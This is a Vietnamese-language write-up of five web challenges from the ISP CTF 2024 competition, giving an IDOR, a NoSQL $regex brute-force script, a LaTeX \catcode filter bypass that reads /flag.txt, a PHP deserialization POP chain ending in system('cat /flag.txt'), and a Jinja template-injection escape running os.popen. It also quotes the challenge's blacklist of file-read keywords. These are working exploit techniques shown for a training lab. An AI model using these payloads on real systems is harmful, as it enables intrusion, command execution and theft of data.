# ISP CTF 2024
## Web challenges

May mắn là team mình clear được hết các bài web
### WARMUP

Đầu tiên cần đăng ký cho mình một tài khoản
Tiếp theo là tạo thử 1 post xem sao


Có vẻ như phàn `content` dính **XSS**
Còn thêm có nút `Report to admin` nữa nên ban đầu mình đã đi theo hướng steal cookie
Sau một hồi làm không được thì mình nhìn lại đề, `Flag nằm ở post của admin` và nhìn lên url thì thấy khả năng cao là dính **IDOR**
url: `http://159.223.41.73:8087/posts/view/admin`

Flag: ~~**ISPCTF{131593365355344022914563712420631936324}**~~
### WEB1

Đề có cho source, vô ngó thử
Trong file `init_users.js` có đoạn
```js=
db.users.insert({
username: "AlienAdmin",
password: "fakepassword",
admin: true,
session: FLAG,
});
```
flag nằm trong `session` của **AlienAdmin**
Mình có login với 1 account bất kì trong file `init_users.js`

Nhưng khi reload lại trang thì

Có vẻ như đây sẽ là dấu hiệu nhận biết được là login thành công hay thất bại
Sau khi login xong nó sẽ set luôn cookie

Để ý thì có đoạn code
```js=
router.get('/', (req, res) => {
var session = res.cookies.get("session");
if (session) {
session = JSON.parse(session);
var token = session.token
return User.find({
session: token
}).then((user) => {
if (user.length == 1) {
return res.render('dashboard');
}
return res.render('index');
})
.catch((e) => {
res.json({ message: 'Hm server errored'});
});
}
return res.render('index');
});
```
Nó sẽ tiến hành parse json từ cookie và lấy token đi tìm trong database
Tổng hợp lại như sau:
- flag nằm trong session của **admin**
- web sử dụng mongodb để truy vấn session
Vậy khả năng cao nó dính `Nosql injection`
Phải kiếm tra mới biết được
Mình lấy 2 ký tự đầu tiên trong session **zbkWxcyqRMVuWGnYhzjTfinPe5bYht** của thằng `jumpyWidgeon1` và dùng `$regex` để kiểm tra xem session có bắt đầu bằng **zb** không

Ú là la
Vì flag có dạng `ISPCTF{}` nên mình sẽ tiến hành brute force session của **admin** luôn
script:
```py=
import requests
import string
# chars = string.ascii_letters + '_`0123456789~!@#%^&()_:"<>,./;|\\*'
chars = "0123456789{}"
url = "http://159.223.41.73:8088/"
leaked_flag = list("ISPCTF{")
while True:
if "}" in leaked_flag:
break
for char in chars:
print(f"trying {''.join(leaked_flag) + char}")
cookie = {
"session":'{"token":{"$regex":"^%s"},"username":"obsessedCaviar2"}' % ("".join(leaked_flag) + char)
}
res = requests.get(url, cookies=cookie)
if (len(res.text) == 390):
leaked_flag.append(char)
break
```
Vì flag toàn số nên mình sẽ chỉ brute force số thôi

Không hiểu sao đến `ISPCTF{419923525501421656985029160590849617999` thì không thể brute tiếp được nữa, nhớ lại thì bài **WARMUP** bên trong flag chỉ có 39 số nên mình mạnh dạng submit luôn (Đúng luôn nhé ^^)
Flag: ~~**ISPCTF{419923525501421656985029160590849617999}**~~
### WEB2


```go
blacklist = []string{"\\input", "include", "newread", "openin", "file", "read", "closein",
"usepackage", "fileline", "verbatiminput", "url", "href", "text", "write",
"newwrite", "outfile", "closeout", "immediate", "|", "write18", "includegraphics",
"openout", "newcommand", "expandafter", "csname", "endcsname", "^^"}
```
Bài này filter 99% payload có mặt trên thị trường
Để ý thì trừ thằng `\input` ra thì các thằng khác không có dấu `\`
Mà syntax của Latex thì phải có `\` đằng trước
Ý tưởng là mình sẽ dùng `\input{/flag.txt}`, để dùng được thì cần phải tách `\` và `input`
Mình thấy có `\catcode` đổi ký tự thành mã phân loại

Vậy `\` = ```\catcode`\!=0```
Ta được payload như sau:
```latex
\documentclass[12pt]{article}
\begin{document}
\catcode`\!=0
!input{/flag.txt}
\end{document}
```

Flag: ~~**ISPCTF{269164474955720048503108942079437084926}**~~
### WEB3

Bài có cho source, vô ngó tí
Để ý trong file `index.php` có
```php
if (isset($_COOKIE['cookie'])) {
$cookie = base64_decode($_COOKIE['cookie']);
unserialize($cookie);
}
```
Vậy khả năng cao nó liên quan đến dạng bài **Insecure Deserialization**
Trong folder `src` có 3 folder nhỏ là `GadgetOne`, `GadgetTwo`, `GadgetThree`
Rồi xong, vậy nó là dạng **PHP Pop Chain**
Mình chưa làm dạng này lần nào, vừa research vừa làm nên hơi lâu
source của từng file như sau:
```php=
<?php
namespace GadgetOne {
class Adders
{
private $x;
function __construct($x)
{
$this->x = $x;
}
function get_x()
{
return $this->x;
}
}
}
```
```php=
<?php
namespace GadgetTwo {
class Echoers
{
protected $klass;
function __destruct()
{
echo $this->klass->get_x();
}
}
}
```
```php=
<?php
namespace GadgetThree {
class Vuln
{
public $waf1;
protected $waf2;
private $waf3;
public $cmd;
function __toString()
{
if (!($this->waf1 === 1)) {
die("not x");
}
if (!($this->waf2 === "\xde\xad\xbe\xef")) {
die("not y");
}
if (!($this->waf3) === false) {
die("not z");
}
eval($this->cmd);
}
}
}
```
Nhiệm vụ của mình là làm cho hàm `eval` thực thi là thành công
Để `eval` thực thi được thì `__toString()` phải được gọi
Và hiển nhiên để gọi `__toString()` thì cần phải được gọi như 1 chuỗi bởi `echo`, `print()`,...
Vậy tóm lại là mình phải `echo` thằng `Vuln()`
Để ý trong class `Echoers` có hàm `echo` và gọi đến hàm `get_x()` của class `Adders`
Ý tưởng của mình là cho chạy dòng code `echo Vuln()` thì `$this->klass->get_x()` phải là `Vuln()`
Để `$this->klass->get_x()` là `Vuln()` thì `get_x()` phải return về `Vuln()`
Mình sẽ tạo script như sau:
```php
<?php
namespace GadgetThree {
class Vuln
{
public $waf1 = 1;
public $waf2 = "\xde\xad\xbe\xef";
public $waf3 = false;
public $cmd = "system('cat /flag.txt');";
}
}
namespace GadgetOne {
class Adders
{
public $x;
function __construct($x)
{
$this->x = $x;
}
}
}
namespace GadgetTwo {
class Echoers
{
public $klass;
function __construct($klass)
{
$this->klass = $klass;
}
}
}
namespace {
$vuln = new GadgetThree\Vuln();
$adders = new GadgetOne\Adders($vuln);
$echoers = new GadgetTwo\Echoers($adders);
echo $payload = base64_encode(serialize($echoers));
}
```
payload: `TzoxNzoiR2FkZ2V0VHdvXEVjaG9lcnMiOjE6e3M6NToia2xhc3MiO086MTY6IkdhZGdldE9uZVxBZGRlcnMiOjE6e3M6MToieCI7TzoxNjoiR2FkZ2V0VGhyZWVcVnVsbiI6NDp7czo0OiJ3YWYxIjtpOjE7czo0OiJ3YWYyIjtzOjQ6It6tvu8iO3M6NDoid2FmMyI7YjowO3M6MzoiY21kIjtzOjI0OiJzeXN0ZW0oJ2NhdCAvZmxhZy50eHQnKTsiO319fQ==`

Flag: ~~**ISPCTF{176538487084431558107684726698761072032}**~~
### WEB4


Lúc đầu nhìn source khá là bối rối, mình đoán nó dính **SSTI** nhưng không tìm thấy chỗ để inject
Thấy import thư viện khá lạ nên mình research thì biết được rằng web dùng giao thức SMTP (Simple Mail Transfer Protocol)
Vậy khả năng cao là mình phải gửi mail qua giao thức này
Mình có tìm được script để gửi mail:
```py=
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
# Thông tin SMTP Server
smtp_server = '157.245.192.100'
smtp_port = 8025
# Thông tin người gửi và người nhận
from_email = 'sender@example.com'
to_email = 'aqoyvprapnfe@f8308503a903'
# Tạo message
message = MIMEMultipart()
message['From'] = from_email
message['To'] = to_email
message['Subject'] = "Just test email"
# Nội dung email
body = 'This is a test email sent from Python.'
message.attach(MIMEText(body, 'plain'))
# Gửi email
try:
server = smtplib.SMTP(smtp_server, smtp_port)
server.sendmail(from_email, to_email, message.as_string())
print('Email sent successfully!')
server.quit()
except Exception as e:
print(f'Error: {e}')
```

Ú là la, giờ chỉ cần tìm chõ để inject là được
Sau một hồi mò thì để ý có dòng
```py
m = format_email(esc(envelope.mail_from), envelope.rcpt_tos[0], esc(envelope.content.decode()), datetime.now().strftime("%d-%m-%Y, %H:%M:%S"), "PLACEHOLDER")
```
```py
def esc(s: str):
return "{% raw %}" + s + "{% endraw %}"
```
`esc(envelope.content.decode())` tức là nội dung của email sẽ đi qua hàm `esc()` và tất nhiên nội dung email có thể kiểm soát
Cặp `{% raw %} {% endraw %}` dùng để định nghĩa nội dung bên trong không được xử lý template tức là `{{7*7}}` vẫn là `{{7*7}}`
Ý tưởng của mình là sẽ thoát khỏi cặp `{% raw %} {% endraw %}` giống cách của **XSS**
`message['Subject'] = "{% endraw %}{{ 7*7 }}{% raw %}"`

Ú là la, giờ đi đọc flag thôi
``message['Subject'] = "{% endraw %}{{ cycler.__init__.__globals__.os.popen('cat flag*').read() }}{% raw %}"``

Flag: ~~**ISPCTF{176451926244603487426850511571301978365}**~~